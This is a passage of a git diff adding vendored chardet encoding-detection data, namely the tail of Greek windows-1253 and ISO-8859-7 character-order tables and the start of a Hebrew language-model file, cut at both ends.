# 'ώ' + 255: 253, # None +} + +WINDOWS_1253_GREEK_MODEL = SingleByteCharSetModel(charset_name='windows-1253', + language='Greek', + char_to_order_map=WINDOWS_1253_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') + +ISO_8859_7_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '\x80' + 129: 255, # '\x81' + 130: 255, # '\x82' + 131: 255, # '\x83' + 132: 255, # '\x84' + 133: 255, # '\x85' + 134: 255, # '\x86' + 135: 255, # '\x87' + 136: 255, # '\x88' + 137: 255, # '\x89' + 138: 255, # '\x8a' + 139: 255, # '\x8b' + 140: 255, # '\x8c' + 141: 255, # '\x8d' + 142: 255, # '\x8e' + 143: 255, # '\x8f' + 144: 255, # '\x90' + 145: 255, # '\x91' + 146: 255, # '\x92' + 147: 255, # '\x93' + 148: 255, # '\x94' + 149: 255, # '\x95' + 150: 255, # '\x96' + 151: 255, # '\x97' + 152: 255, # '\x98' + 153: 255, # '\x99' + 154: 255, # '\x9a' + 155: 255, # '\x9b' + 156: 255, # '\x9c' + 157: 255, # '\x9d' + 158: 255, # '\x9e' + 159: 255, # '\x9f' + 160: 253, # '\xa0' + 161: 233, # '‘' + 162: 90, # '’' + 163: 253, # '£' + 164: 253, # '€' + 165: 253, # '₯' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # 'ͺ' + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # None + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 248, # '΅' + 182: 61, # 'Ά' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, # 'ώ' + 255: 253, # None +} + +ISO_8859_7_GREEK_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-7', + language='Greek', + char_to_order_map=ISO_8859_7_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') + diff --git a/src/thirdparty/chardet/langhebrewmodel.py b/src/thirdparty/chardet/langhebrewmodel.py new file mode 100644 index 0000000000..a62cae48c9 --- /dev/null +++ b/src/thirdparty/chardet/langhebrewmodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HEBREW_LANG_MODEL = { + 50: { # 'a' + 50: 0, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 0, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 60: { # 'c' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 61: { # 'd' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 42: { # 'e' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 2, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 53: { # 'i' + 50: 1, # 'a' + 60: 2, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 0, # 'i' + 56: 1, # 'l' + 54: 2, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 56: { # 'l' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 2, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 54: { # 'n' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 49: { # 'o' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 51: { # 'r' + 50: 2, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 43: { # 's' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 2, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 44: { # 't' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 63: { # 'u' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 34: { # '\xa0' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 2, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 55: { # '´' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 